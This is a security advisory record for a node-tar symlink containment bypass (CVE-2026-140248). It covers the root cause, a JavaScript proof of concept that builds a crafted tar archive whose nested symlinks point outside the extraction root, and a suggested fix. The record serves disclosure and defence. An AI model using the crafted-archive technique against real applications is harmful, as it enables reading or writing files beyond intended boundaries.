{"id":"GHSA-6wwr-g865-f46r","summary":"node-tar: Nested symlink target can escape node-tar extraction root","details":"## Summary\n\nWith default `preservePaths: false`, `tar` 7.5.22 can extract a symbolic link whose effective target is outside the extraction directory. A crafted archive first creates one in-root symlink and then a second symlink whose target contains that symlink followed by `..`. The containment check simplifies the target lexically before checking filesystem symlinks, but the stored target is resolved by the OS through the first symlink. A later consumer following the extracted link can access a file outside the intended root.\n\nThis was reproduced locally on commit `2a22bfc5d3a432a606d9da0e2d87ba634aa3b1cb` (package version 7.5.22). Earlier versions were not assessed. The PoC only reads a marker that it creates in its own temporary directory. No preexisting file is touched.\n\n## Root cause\n\n`STRIPABSOLUTEPATH` accepts a symlink `linkpath` containing `..` if `path.posix.normalize(path.posix.join(entryDir, linkpath))` appears to stay inside the extraction root (`src/unpack.ts:263-302`). Later, `SYMLINK` derives `parts` using `path.resolve(dirname(entry.absolute), entry.linkpath)` (`src/unpack.ts:640-659`), which also removes `b/..` before `ENSURE_NO_SYMLINK` inspects each component (`src/unpack.ts:679-698`). `LINK` then writes the original unsimplified `entry.linkpath` with `fs.symlink` (`src/unpack.ts:866-880`).\n\nFor `a/b -\u003e ../x` and `a/c -\u003e b/../..`, the lexical check reduces the second target to the extraction root and never checks `a/b`. Actual filesystem traversal follows `a/b` to `x` first and then processes two parent components, ending in the extraction root's parent.\n\n## Safe local PoC\n\nRun from a built checkout of 7.5.22:\n\n```js\nimport { mkdtempSync, mkdirSync, writeFileSync, readFileSync } from 'node:fs'\nimport { tmpdir } from 'node:os'\nimport { join } from 'node:path'\nimport { Header, extract } from 'tar'\n\nconst parent = mkdtempSync(join(tmpdir(), 'node-tar-link-poc-'))\nconst out = join(parent, 'out')\nmkdirSync(out)\nwriteFileSync(join(parent, 'outside-marker.txt'), 'OUTSIDE MARKER\\n')\nconst block = h =\u003e {\n  const b = Buffer.alloc(512)\n  new Header(h).encode(b)\n  return b\n}\nconst input = join(parent, 'input.tar')\nwriteFileSync(input, Buffer.concat([\n  block({ path: 'x/', type: 'Directory', size: 0 }),\n  block({ path: 'a/', type: 'Directory', size: 0 }),\n  block({ path: 'a/b', type: 'SymbolicLink', linkpath: '../x', size: 0 }),\n  block({ path: 'a/c', type: 'SymbolicLink', linkpath: 'b/../..', size: 0 }),\n  Buffer.alloc(1024),\n]))\n\nconst warnings = []\nawait extract({ file: input, cwd: out, onwarn: (code, message) =\u003e warnings.push({ code, message }) })\nconsole.log(readFileSync(join(out, 'a/c/outside-marker.txt'), 'utf8').trim())\nconsole.log(warnings)\n// OUTSIDE MARKER\n// []\n```\n\nThe marker is outside `out`; the access passes through a symlink extracted under `out`. This demonstrates the target containment bypass. It does not claim that node-tar itself writes outside `out` while extracting a subsequent member; its existing path checks may stop such an entry.\n\n## Impact and suggested fix\n\nAn attacker needs to supply a tar archive to an application that extracts links and later follows or serves files from the extracted tree. The resulting link crosses the documented default target confinement. The downstream read/write impact depends on that consumer.\n\nValidate link targets using filesystem semantics before accepting them, or conservatively reject a target that traverses `..` after a symlink component. In particular, inspect the unsimplified components before `path.resolve()` removes them. Add a regression case with a symlink component followed by `..`, and assert that the second link is rejected under default options.\n\nCredit goes to GitHub user `@mikkel32` as finder/reporter in the published advisory.","aliases":["CVE-2026-140248"],"modified":"2026-12-02T01:45:49.561022478Z","published":"2026-12-02T00:58:18Z","database_specific":{"github_reviewed_at":"2026-12-02T00:58:18Z","nvd_published_at":"2026-12-01T18:17:29Z","cwe_ids":["CWE-59"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-6wwr-g865-f46r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140248"},{"type":"WEB","url":"https://github.com/isaacs/node-tar/commit/23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d"},{"type":"PACKAGE","url":"https://github.com/isaacs/node-tar"},{"type":"WEB","url":"https://github.com/isaacs/node-tar/releases/tag/v8.0.0"}],"affected":[{"package":{"name":"tar","ecosystem":"npm","purl":"pkg:npm/tar"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.5.22"},{"fixed":"8.0.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-6wwr-g865-f46r/GHSA-6wwr-g865-f46r.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"}]}